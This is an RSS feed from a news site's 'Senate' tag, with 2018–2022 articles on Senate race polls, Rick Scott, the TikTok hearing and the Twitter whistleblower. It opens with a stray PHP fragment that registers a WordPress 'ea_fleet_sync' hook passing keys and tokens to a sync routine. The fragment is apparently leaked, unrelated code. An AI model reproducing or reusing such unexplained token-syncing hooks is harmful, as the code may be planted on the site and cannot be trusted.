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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Senate – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 24 Sep 2022 23:33:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Senate – Brief News https://briefnews.eu 32 32 GOP Sen. Mike Lee holds a narrow edge over independent Evan McMullin in the Utah Senate race: poll https://briefnews.eu/gop-sen-mike-lee-holds-a-narrow-edge-over-independent-evan-mcmullin-in-the-utah-senate-race-poll/ https://briefnews.eu/gop-sen-mike-lee-holds-a-narrow-edge-over-independent-evan-mcmullin-in-the-utah-senate-race-poll/#respond Sat, 24 Sep 2022 23:33:11 +0000 https://briefnews.eu/gop-sen-mike-lee-holds-a-narrow-edge-over-independent-evan-mcmullin-in-the-utah-senate-race-poll/ Mike Lee
Sen. Mike Lee of Utah.

AP Photo/Phelan M. Ebenhack, File

  • Mike Lee leads Evan McMullin 36%-34% in a new Deseret News/Hinckley Institute of Politics poll.
  • The Utah Senate race is shaping up to be one of the most competitive statewide contests in years.
  • The key to victory is the support of the state's moderate voters, per Hinckley director Jason Perry.

Republican Sen. Mike Lee holds a narrow lead over independent candidate Evan McMullin in the Utah Senate race, in what is shaping up to be one of the most competitive statewide races in recent memory in the longtime GOP stronghold.

In the latest Deseret News/Hinckley Institute of Politics poll — among registered voters — Lee earned the support of 36% of respondents, while 34% backed McMullin and 13% opted for another candidate. Per the polling results, 16% of respondents also indicated that they were undecided.

Among likely voters, the race remains largely unchanged, with Lee leading McMullin 37% to 34%, with 16% of respondents stating that they were undecided.

The poll surveyed 815 registered voters from Sept. 3 through Sept. 21 and had a margin of error of plus or minus 3.43 percentage points.

Jason Perry, the director of the Hinckley Institute of Politics at the University of Utah, told Deseret News that the polling indicated that a swath of moderates — who are still not sold on giving Lee a third term in Washington, DC — are the key to the incumbent winning in November and are also critical to McMullin if he is to upset the Republican lawmaker.

"Mike Lee continues to be in the driver's seat, but the most interesting aspect of this poll is who the undecided voters are — moderates and liberals," Perry told the publication. "Mike Lee needs some of the moderates and Evan McMullin needs all the moderates and liberals he can convince, but those groups are in a quandary."

Utah Democrats in April threw their support behind McMullin in the November contest, in turn passing over a nominee from their own party. In endorsing McMullin, Democrats lined up behind a former CIA officer who unsuccessfully sought the presidency in 2016, but performed strongly in the Beehive State — winning 22% of the statewide vote and holding Donald Trump below 50% of the vote in one of the most Republican states in the country.

While Lee overwhelmingly votes in line with most Republican senators, McMullin told NBC News in July that he wouldn't caucus with either major party should he be elected to office this fall.

And while Republican candidates generally enjoy a healthy financial advantage in Utah, McMullin has been able to remain competitive with the incumbent.

According to OpenSecrets, Lee has raised $ 7.9 million and had nearly $ 2.5 million in cash on hand, while McMullin has taken in over $ 3.2 million and had nearly $ 1.3 million in cash on hand.

In the last Deseret News/Hinckley poll — which was conducted in July — Lee held a 41%-36% lead over McMullin.

The latest results show some erosion in support for the senator, as there has since been an increase in the number of voters who are undecided.

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]]> https://briefnews.eu/gop-sen-mike-lee-holds-a-narrow-edge-over-independent-evan-mcmullin-in-the-utah-senate-race-poll/feed/ 0 Republican JD Vance holds a razor-thin lead over Democratic Rep. Tim Ryan in the Ohio Senate race, poll shows https://briefnews.eu/republican-jd-vance-holds-a-razor-thin-lead-over-democratic-rep-tim-ryan-in-the-ohio-senate-race-poll-shows/ https://briefnews.eu/republican-jd-vance-holds-a-razor-thin-lead-over-democratic-rep-tim-ryan-in-the-ohio-senate-race-poll-shows/#respond Sat, 24 Sep 2022 18:47:13 +0000 https://briefnews.eu/republican-jd-vance-holds-a-razor-thin-lead-over-democratic-rep-tim-ryan-in-the-ohio-senate-race-poll-shows/ JD Vance
Ohio Republican Senate nominee JD Vance.

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  • JD Vance has a one-point lead over Tim Ryan in the Ohio Senate race, according to a new Marist poll.
  • For months, Vance and Ryan have been locked in a tight race in the Republican-trending state.
  • Ryan has so far been adept at consolidating the Democratic vote and peeling off some GOP support.

JD Vance has a razor-thin lead over Democratic Rep. Tim Ryan in the Ohio Senate race, with the Republican nominee edging out the veteran congressman by one-percentage point, according to a new Marist Poll.

The survey showed that Vance had 46% support among registered voters, while Ryan earned the backing of 45% of respondents; nine percent of respondents said that they were undecided.

Among voters who indicated that they were highly likely to vote in November, Vance led by a similar one-point margin (48%-47%).

In the poll, Vance attracted the support of 85% of Republicans, with 9% of GOP respondents crossing over to back Ryan.

The venture capitalist and "Hillbilly Elegy" author performed strongly in western Ohio, where he led Ryan by 40 percentage points (65%-25%), and in the Appalachian region of southern Ohio, where he held a robust 28-point lead (60%-32%).

However, Ryan has managed to remain competitive in the Republican-friendly Buckeye State by consolidating the Democratic base while also performing well with independents and peeling off some GOP voters.

In the survey, Ryan captured 92% of the Democratic vote and had a two-point lead with independents, while also earning the support of nearly one-in-ten Republican respondents.

Among white voters — by far the largest share of voters in Ohio — Ryan and Vance are nearly even, with the Democratic congressman winning 45% of their votes to 47% for the GOP nominee.

Ryan led Vance by 11 percentage points (50%-39%) among nonwhite voters.

And Ryan is running ahead in three critical regions where he must deliver robust margins in order to win statewide — he led in the Cleveland area 53%-35% and metropolitan Columbus 51%-43%.

In the Cincinnati area — where populous Hamilton County in recent years has increasingly backed Democratic candidates in statewide races — Ryan held a 47%-45% edge over Vance.

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Rep. Tim Ryan is the 2022 Ohio Democratic Senate nominee.

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The top three issues for respondents in the poll were inflation (36%), the preservation of democracy (27%), and abortion (18%).

While Vance has hammered Ryan over the economy by linking him to President Joe Biden — who is currently unpopular in the state — the Democratic nominee has sought to highlight his opposition to free-trade deals that accompanied the decline in manufacturing jobs in the state.

In the gubernatorial contest, Republican Gov. Mike DeWine held a wide 55%-37% lead over his Democratic opponent, former Dayton mayor Nan Whaley.

Among those who indicated that they would definitely head to the polls this fall, DeWine held a 55%-39% lead.

DeWine, who is seeking a second term in office, received the backing of 92% of Republicans and attracted the support of 10% of Democratic respondents.

Among independents, DeWine held a significant 22-point lead (54%-32%) over Whaley.

In the survey, the governor also led in every region of the state, including the Democratic-leaning Cleveland area, where he bested Whaley 48%-45%.

Marist polled 1,200 registered voters from September 12 through September 15; the survey had a margin of error of plus or minus 3.6 percentage points.

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]]> https://briefnews.eu/republican-jd-vance-holds-a-razor-thin-lead-over-democratic-rep-tim-ryan-in-the-ohio-senate-race-poll-shows/feed/ 0 Rick Scott predicts the Trump civil fraud lawsuit won’t hurt the GOP’s chances of retaking the Senate much and says the Mar-a-Lago raid ‘revved up the base’ https://briefnews.eu/rick-scott-predicts-the-trump-civil-fraud-lawsuit-wont-hurt-the-gops-chances-of-retaking-the-senate-much-and-says-the-mar-a-lago-raid-revved-up-the-base/ https://briefnews.eu/rick-scott-predicts-the-trump-civil-fraud-lawsuit-wont-hurt-the-gops-chances-of-retaking-the-senate-much-and-says-the-mar-a-lago-raid-revved-up-the-base/#respond Wed, 21 Sep 2022 19:12:59 +0000 https://briefnews.eu/rick-scott-predicts-the-trump-civil-fraud-lawsuit-wont-hurt-the-gops-chances-of-retaking-the-senate-much-and-says-the-mar-a-lago-raid-revved-up-the-base/ Republican Sen. Rick Scott talks to congressional reporters as Senate GOP leaders look on during a press conference at the US Capitol on September 13, 2022 in Washington, DC.
Republican Sen. Rick Scott talks to congressional reporters as Senate GOP leaders look on during a press conference at the US Capitol on September 13, 2022 in Washington, DC.

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  • Sen. Rick Scott downplayed the chances of a new lawsuit against Trump endangering the midterms.
  • Scott said kitchen table issues like rising crime and plummeting incomes remain paramount.
  • Scott said simmering outrage over the Mar-a-Lago raid could drive more MAGA voters to the polls.

Republican Sen. Rick Scott of Florida said most GOP voters are more interested in economic issues than a new civil suit against Donald Trump alleging financial fraud. But some MAGA loyalists, Scott predicted, may be more motivated to march to the polls this fall because of the mushrooming government investigations into the embattled former president. 

"Some people are mad over Mar-a-Lago. But I think most of it is going to be about how it impacts your family," Scott said of his read on the current midterms outlook, adding that he expects the November election will turn on concerns about inflation, parental rights in schools, domestic crime, and immigration. 

Republicans need to pick up just one seat this November to reclaim control of the 50-50 Senate. And Scott, who is in charge of the Senate's reelection arm this cycle, has made Trump and his ideas integral parts of the 2022 campaign — much to the chagrin of disapproving Senate Minority Leader Mitch McConnell. 

While noting that he hadn't yet seen it, Scott didn't put much stock in the lawsuit New York Attorney General Letitia James filed against Trump and three of his children on Wednesday. 

James accused Trump of fudging financial information to "further enrich himself and cheat the system" and is pushing for $ 250 million in penalties. That case, or any corresponding criminal offshoot, is likely to take years to play out.  

Scott said what matters more to diehard Trump fans is how the former president is being scrutinized by federal investigators right now. 

"I think the FBI revved up the base — by doing the raid and not telling anyone why they did it," Scott said.

Trump has fueled the backlash against federal law enforcement by denouncing the various investigations into his political and personal dealings as partisan "witch hunts."  

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]]> https://briefnews.eu/rick-scott-predicts-the-trump-civil-fraud-lawsuit-wont-hurt-the-gops-chances-of-retaking-the-senate-much-and-says-the-mar-a-lago-raid-revved-up-the-base/feed/ 0 Lawmakers press TikTok about China and user data in Senate hearing https://briefnews.eu/lawmakers-press-tiktok-about-china-and-user-data-in-senate-hearing/ https://briefnews.eu/lawmakers-press-tiktok-about-china-and-user-data-in-senate-hearing/#respond Thu, 15 Sep 2022 03:58:25 +0000 https://briefnews.eu/lawmakers-press-tiktok-about-china-and-user-data-in-senate-hearing/ Top executives from Meta, Twitter, YouTube and TikTok just wrapped up a three-hour hearing in front of the Senate Homeland Security Committee. The hearing, which featured Meta CPO Chris Cox, YouTube CPO Neal Mohan, TikTok COO Vanessa Pappas and Twitter’s GM of consumer product (known as “Bluebird”), was meant to be focused on how their services impact national security issues.

Notably, the hearing is only the second time representatives for TikTok and YouTube had ever appeared at such a hearing — Meta and Twitter execs have been hauled in front of Congress far more often — and the first dedicated to security. The hearing also came one day after Twitter’s former security chief turned whistleblower told a different Senate committee that the company had been previously warned by the FBI it had a Chinese spy on its payroll. Yet not one senator on the Homeland Security Committee asked Sullivan about the allegation.

To be clear, Sullivan was unlikely to have given a substantive answer. When asked about whistleblower Peiter Zatko’s claim that Twitter lied to the FTC, he would only say that “Twitter disputes the allegations." But it was still somewhat shocking that the issue was not raised in a hearing dedicated to social media platforms' impact on national security. 

Lawmakers did, however, spend considerable time questioning Pappas on TikTok’s connections to China, which has long been a source of suspicion among lawmakers on both sides of the aisle."TikTok does not operate in China,” Pappas said more than once.

At one point, Sen. Josh Hawley got into a heated exchange with Pappas over whether the company has China-based employees who are members of the Chinese Communist Party. “We've said many times, Senator, that we do have Chinese engineers based in China,” Pappas said. “I don't think there's any platform up here that would be able to speak to what you're talking about as it relates to the political affiliation of an individual.” She later added that the company’s leadership team is based in the United States and Singapore.

Pappas was also asked about a BuzzFeed News story that TikTok user data had been repeatedly accessed by employees based in China. She said that “those allegations were not found,” and emphasized the company’s “strict access controls” and its work with Oracle.

The TikTok COO was also questioned about the app’s use of biometric data. “We do not use any sort of a facial, voice, audio or body recognition that would identify an individual,” Pappas told Sen. Kristen Sinema. She added that facial recognition is used for augmented reality effects in creators’ videos.

There was a lot less discussion of other security-related issues, including social media companies’ handling of domestic extremism. Committee Chairman Sen. Gary Peters pressed Cox and Mohan and why Meta and YouTube didn’t crack down on QAnon more quickly. Both side-stepped the question by focusing on their current policies. Other lawmakers chose to spend their time questioning the companies about their handling of vaccine misinformation during the pandemic and other content moderation issues. 

And, as with previous hearings, the executives were often reluctant to provide specific answers even to seemingly straightforward questions. Peters repeatedly asked each executive how many engineers each company had on staff — a question he said they were notified would be coming in advance — but none would give a direct answer. “I'll be honest, I’m frustrated that chief product officers — all of you have a prominent seat at the table where these business decisions are made — were not more prepared,” Peters said. “Your companies continue to really avoid you sharing some very important information with us.”

]]> https://briefnews.eu/lawmakers-press-tiktok-about-china-and-user-data-in-senate-hearing/feed/ 0 The Twitter whistleblower testifies before the US Senate on Tuesday. Here’s what to expect. https://briefnews.eu/the-twitter-whistleblower-testifies-before-the-us-senate-on-tuesday-heres-what-to-expect/ https://briefnews.eu/the-twitter-whistleblower-testifies-before-the-us-senate-on-tuesday-heres-what-to-expect/#respond Tue, 13 Sep 2022 04:10:00 +0000 https://briefnews.eu/the-twitter-whistleblower-testifies-before-the-us-senate-on-tuesday-heres-what-to-expect/ A man with grey hair, beard, and glasses stands behind a glass wall staring off into the distance.
Ex Twitter security chief Peiter Zatko.

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  • Twitter whistleblower Peiter Zatko will speak publicly for the first time since his complaint was made public.
  • Lawmakers are expected to grill Zatko on claims that Twitter's flaws posed a risk to user privacy and national security.
  • Interest in the testimony has grown after a judge ruled that Elon Musk can use Zatko's claims in his battle with Twitter.

On Tuesday, Twitter's former head of security, Peiter Zatko, will speak publicly for the first time since his bombshell whistleblower complaint that may be key to determining the company's future. 

Zatko is set to testify in front of the Senate Judiciary Committee to answer questions about claims he made about Twitter's security failings. 

Zatko's complaint details Twitter's allegedly negligent security practices and says they pose a threat to user privacy and even national security. 

He also accuses Jack Dorsey of suffering from a "drastic loss of focus" in his final year as CEO, saying he was so disengaged that some senior employees allegedly speculated about whether he was sick. 

Zatko's complaint contains myriad information that may interest US lawmakers. He accuses the company's leadership of misleading government regulators about security flaws that could potentially pave the way for foreign spying, hacking, or disinformation campaigns, according to CNN.

The complaint also alleges that Twitter's current CEO, Parag Agrawal, once suggested that the company bow to Russia's censorship and surveillance demands to grow its user base. 

The Senate Judiciary Committee is expected to question Zatko about all of these claims. 

"Mr. Zatko's allegations of widespread security failures and foreign state actor interference at Twitter raise serious concerns.  If these claims are accurate, they may show dangerous data privacy and security risks for Twitter users around the world. The Senate Judiciary Committee will investigate this issue further with a full Committee hearing this work period, and take further steps as needed to get to the bottom of these alarming allegations," Senators Chuck Grassley and Dick Durbin said in a joint statement last month. 

Twitter has denied Zatko's claims and has painted him as a disgruntled employee who was fired for "ineffective leadership and poor performance."

Interest in Zatko's testimony has intensified after a judge ruled that Elon Musk can use claims from the whistleblower's complaint in his legal battle to terminate his deal to buy Twitter. 

The "hearing will be closely watched by the Street to better understand the details around security issues as well as the bot/fake account issue at the centerpiece of Musk's focus," Dan Ives, a technology analyst at Wedbush Securities, wrote in a recent note to clients.

Intensifying the drama: Twitter shareholders are expected to approve Musk's $ 44 billion takeover deal in a shareholder vote on Tuesday, the same day as Zatko's testimony, The Wall Street Journal reported.

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]]> https://briefnews.eu/the-twitter-whistleblower-testifies-before-the-us-senate-on-tuesday-heres-what-to-expect/feed/ 0 Ohio Senate candidate JD Vance is now openly feuding with Jennifer Lawrence https://briefnews.eu/ohio-senate-candidate-jd-vance-is-now-openly-feuding-with-jennifer-lawrence/ https://briefnews.eu/ohio-senate-candidate-jd-vance-is-now-openly-feuding-with-jennifer-lawrence/#respond Mon, 12 Sep 2022 06:57:27 +0000 https://briefnews.eu/ohio-senate-candidate-jd-vance-is-now-openly-feuding-with-jennifer-lawrence/ A composite image of JD Vance (left) and Jennifer Lawrence
Ohio Senate candidate JD Vance is feuding with Hollywood actress Jennifer Lawrence

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  • Ohio Senate candidate JD Vance is openly feuding with actress Jennifer Lawrence.
  • Last week, Lawrence called Vance a "rich twat" and accused him of faking his "hillbilly" persona.
  • Vance said she "should leave politics to the people who actually vote and try to run in elections."

Ohio Senate candidate JD Vance is openly feuding with Oscar-winning actress Jennifer Lawrence. 

In a Vogue interview published September 6, Lawrence said she was disgusted by the idea of Vance running in Ohio.

In the same interview, she said she used to think she was a Republican but later became solidly anti-Trump, and that she had recurring nightmares about Fox News host Tucker Carlson after the Supreme Court gutted Roe.

"He's not a hillbilly if he wrote a huge book. Rich twat," Lawrence said of Vance. "I mean, I'm a rich twat, but I'm not running for office pretending that I'm not."

Lawrence, who grew up in a suburb of Louisville, Kentucky, was referring to Vance's book, "Hillbilly Elegy." The best-selling memoir about Vance's life in the rust belt, published in 2016, was picked up by Netflix, which said in 2019 that it was spending $ 45 million to turn it into a movie.

Lawrence told Vogue she felt compelled to speak up about politics: "You have to be political. It's too dire. Politics are killing people."

On Saturday, Vance made an appearance on Fox News, where host Brian Kilmeade asked him if Lawrence was implying that "people in rural America can't read." Vance said he thought Lawrence's comments were a "classic example of Hollywood getting involved in politics." 

"That's sort of the implication is that those of us who actually do buy books and read out here in the heartland are somehow not representative. I think that's ridiculous," Vance said. "I know a lot of people, a lot of friends and family who do like to read books, including mine."

He added that he thought people have "tuned out the politics of Hollywood."

"They're there for entertainment," Vance said of Hollywood figures like Lawrence. "I think when they do it well, great, but at the end of the day, they should leave politics to the people who actually vote and try to run in elections in this country."

Vance, once known to be anti-Trump, is now a supporter of the former president. In 2016, Vance suggested to a law school friend that Trump could be "America's Hitler." By 2022, he had switched allegiances, telling Vanity Fair he was "wrong about Trump" in the past. For his part, Trump has acknowledged that Vance used to disapprove of him, but said he has "put that aside."

In April, Ohio Republicans urged Trump not to back Vance for the Senate, asking that he pick a less risky candidate to endorse. However, Trump persisted in backing Vance and announced his endorsement on April 15. Vance won his primary in May and is now narrowly ahead of Democratic candidate Tim Ryan.

According to reporting from Insider's Madison Hall, the Yale-educated Vance made $ 347,752 in royalties in 2020 from "Hillbilly Elegy." In 2021, his earnings from the book grew to $ 475,380. Vance, a venture capitalist, also made $ 327,083 from his job at Narya Capital Management in Ohio in 2021.

Representatives for Lawrence and Vance did not immediately respond to Insider's requests for comment.

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]]> https://briefnews.eu/ohio-senate-candidate-jd-vance-is-now-openly-feuding-with-jennifer-lawrence/feed/ 0 Democrat Mark Kelly has a narrow lead over GOP challenger Blake Masters in the Arizona Senate race, while Katie Hobbs and Kari Lake are tied in the gubernatorial contest: poll https://briefnews.eu/democrat-mark-kelly-has-a-narrow-lead-over-gop-challenger-blake-masters-in-the-arizona-senate-race-while-katie-hobbs-and-kari-lake-are-tied-in-the-gubernatorial-contest-poll/ https://briefnews.eu/democrat-mark-kelly-has-a-narrow-lead-over-gop-challenger-blake-masters-in-the-arizona-senate-race-while-katie-hobbs-and-kari-lake-are-tied-in-the-gubernatorial-contest-poll/#respond Sun, 11 Sep 2022 01:34:33 +0000 https://briefnews.eu/democrat-mark-kelly-has-a-narrow-lead-over-gop-challenger-blake-masters-in-the-arizona-senate-race-while-katie-hobbs-and-kari-lake-are-tied-in-the-gubernatorial-contest-poll/ Democratic Sen. Mark Kelly of Arizona outside the Capitol on August 10, 2021.
Democratic Sen. Mark Kelly of Arizona outside the Capitol on August 10, 2021.

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  • Mark Kelly has a 47%-45% lead over Blake Masters in the Arizona Senate race, per a new Emerson poll.
  • Secretary of State Katie Hobbs and former television journalist Kari Lake are tied at 46% support.
  • Arizona in recent years has shifted from a Republican stronghold to a Southwestern swing state.

Arizona Democratic Sen. Mark Kelly has a narrow two-point lead over Republican challenger Blake Masters in state's hotly-contested Senate race, according to a new Emerson College poll.

The survey showed Kelly earning 47% of the vote, while Masters garnered 45% support; five percent of respondents were undecided.

Independents in the poll backed Kelly by a nine-point margin (46%-37%).

The Emerson College poll also showed Democratic Secretary of State Katie Hobbs tied with Republican gubernatorial nominee and former television journalist Kari Lake, with each candidate receiving 46% support.

The top issue among Arizona voters is the economy, with 36% of respondents naming it as the biggest driver of their vote, followed by abortion rights and immigration tied at 16% each as the second-most important issue.

Emerson College polled 627 likely general election voters voters on September 6 and September 7; the survey had a margin of error of plus or minus 3.85 percentage points.

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Republican Sen. Rick Scott of Florida and Senate Minority Leader Mitch McConnell of Kentucky at a press conference on Capitol Hill on May 17, 2022.

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  • Republicans are increasingly criticizing their party's controversial, unpopular Senate nominees.
  • Even Mitch McConnell has noted that the Senate may not flip this year, citing "candidate quality."
  • But Scott, the chair of the Senate GOP campaign arm, says that criticism is "treasonous."

Republican Sen. Rick Scott of Florida, the chair of the Senate GOP campaign arm, is fighting back against intraparty criticism of Republican Senate nominees, many of whom are struggling in the polls.

And he's reviving an ongoing rivalry with the leader of his caucus: Senate Minority Leader Mitch McConnell, who's criticized "candidate quality" in the GOP.

"Sen. McConnell and I clearly have a strategic disagreement here," said Scott in an interview with Politico. "We have great candidates."

Scott also penned an op-ed in the Washington Examiner on Thursday in which he framed ongoing criticism of the party's more controversial nominees — which include Herschel Walker in Georgia, Blake Masters in Arizona, JD Vance in Ohio, and Mehmet Oz in Pennsylvania — as a conflict between the "chattering class" in Washington and the party's base voters.

"Many of the very people responsible for losing the Senate last cycle are now trying to stop us from winning the majority this time by trash-talking our Republican candidates," he wrote. "It's an amazing act of cowardice, and ultimately, it's treasonous to the conservative cause."

"Giving anonymous quotes to help the Washington Post or the New York Times write stories trashing Republicans is the same as working with the Democratic National Committee," he also wrote. "If you want to trash-talk our candidates to help the Democrats, pipe down."

But while there have been a myriad of stories for which Republicans have offered anonymous quotes, Republican leaders have also sought to manage expectations in public as well.

"There's probably a greater likelihood the House flips than the Senate," said McConnell at a luncheon in Kentucky last month. "Senate races are just different. They're statewide, candidate quality has a lot to do with the outcome."

Those words were interpreted as an implicit jab at some of the party's nominees, who have each had their own troubles.

In Arizona, Masters has struggled to win over the state's increasingly-purple electorate and recently began scrubbing hard-right political positions from his website. In Ohio, Vance has come under fire for appearing to suggest that couples in "violent" marriages not get divorced. Walker has struggled in Georgia as he's given perplexing answers to questions from the media, and Oz has struggled to convince Pennsylvania voters of his authenticity, including his ties to the state he's running in.

On Wednesday, the election forecaster Crystal Ball shifted their ratings for the Senate elections in Arizona and Pennsylvania to "leans Democratic," citing "candidate weaknesses for Republicans in both states and what appears to be a not-as-bleak environment for Democrats."

The other subplot at play is Scott's ongoing rivalry with McConnell. Earlier this year, Scott released his own GOP agenda that would include a tax hike for over half of Americans, leading to a public put-down from McConnell in March.

 

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]]> https://briefnews.eu/sen-rick-scott-says-he-has-a-strategic-disagreement-with-mitch-mcconnell-and-tells-other-republicans-to-pipe-down-with-treasonous-criticism-of-the-partys-controversial-senate-candidates/feed/ 0 Ted Cruz introduced a term limit bill that would actually end his own career in the Senate https://briefnews.eu/ted-cruz-introduced-a-term-limit-bill-that-would-actually-end-his-own-career-in-the-senate/ https://briefnews.eu/ted-cruz-introduced-a-term-limit-bill-that-would-actually-end-his-own-career-in-the-senate/#respond Fri, 04 Jan 2019 16:30:30 +0000 http://briefnews.eu/ted-cruz-introduced-a-term-limit-bill-that-would-actually-end-his-own-career-in-the-senate/ ted cruzJustin Sullivan/Getty Image

  • Senator Ted Cruz introduced a constitutional amendment that would allow only two terms for Senators and three for members of the House of Representatives.
  • It would limit Cruz’s term in the Senate to his current one, which ends in 2025.
  • Congressional terms are currently unlimited, though there are limits on individual committees.

Republican Senator Ted Cruz introduced a constitutional amendment Friday that would restrict Senators to two six-year terms. If it’s passed, it would limit Cruz’s Senate career to its current term.

The amendment would also limit members of the House of Representatives to three two-year terms. It’s co-sponsored by Republican Senators Marco Rubio, Mike Lee, and David Purdue.

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]]> https://briefnews.eu/ted-cruz-introduced-a-term-limit-bill-that-would-actually-end-his-own-career-in-the-senate/feed/ 0 Bipartisan carbon-tax bill introduced in the Senate offers glimpse at future https://briefnews.eu/bipartisan-carbon-tax-bill-introduced-in-the-senate-offers-glimpse-at-future/ https://briefnews.eu/bipartisan-carbon-tax-bill-introduced-in-the-senate-offers-glimpse-at-future/#respond Fri, 21 Dec 2018 04:58:47 +0000 http://briefnews.eu/bipartisan-carbon-tax-bill-introduced-in-the-senate-offers-glimpse-at-future/
Senators Flake and Coons

Enlarge / US Senator Jeff Flake (R-Ariz.) and Senator Chris Coons (D-Del.). (credit: Alex Wong/Getty Images)

On Wednesday, Senators Jeff Flake (R-Ariz.) and Chris Coons (D-Del.) introduced a Senate bill to impose a carbon tax on major industrial carbon emitters throughout the US. The Senate bill is a version of a bipartisan House bill that was introduced in late November. Although most analysis agrees that the bills don’t stand a chance of becoming law, they are important as concrete examples of avenues that US lawmakers are taking to explore bipartisan climate-change policy.

Traditionally, Republicans have resisted addressing climate change in any way whatsoever, with current Republican President Donald Trump baselessly calling climate science into question and hiring agency secretaries, advisors, and administrators who repeat similar empty claims. But some Republicans in the House and the Senate have pushed back on this, especially in Florida where sea-level rise and increasingly violent hurricanes threaten the economy more directly than in other parts of the US.

The carbon-tax idea was re-introduced this year by Florida’s Republican Representative Carlos Curbelo. (Curbelo lost his seat to a Democrat in the midterm election this year.) The idea of a carbon tax is attractive to many Republicans because it discourages carbon emissions via a market mechanism and protects big companies like Exxon from other kinds of government intervention. A carbon tax is a predictable, monetary lever with uniform increases over several decades; in other words, it’s easy for companies to plan for in their balance sheets.

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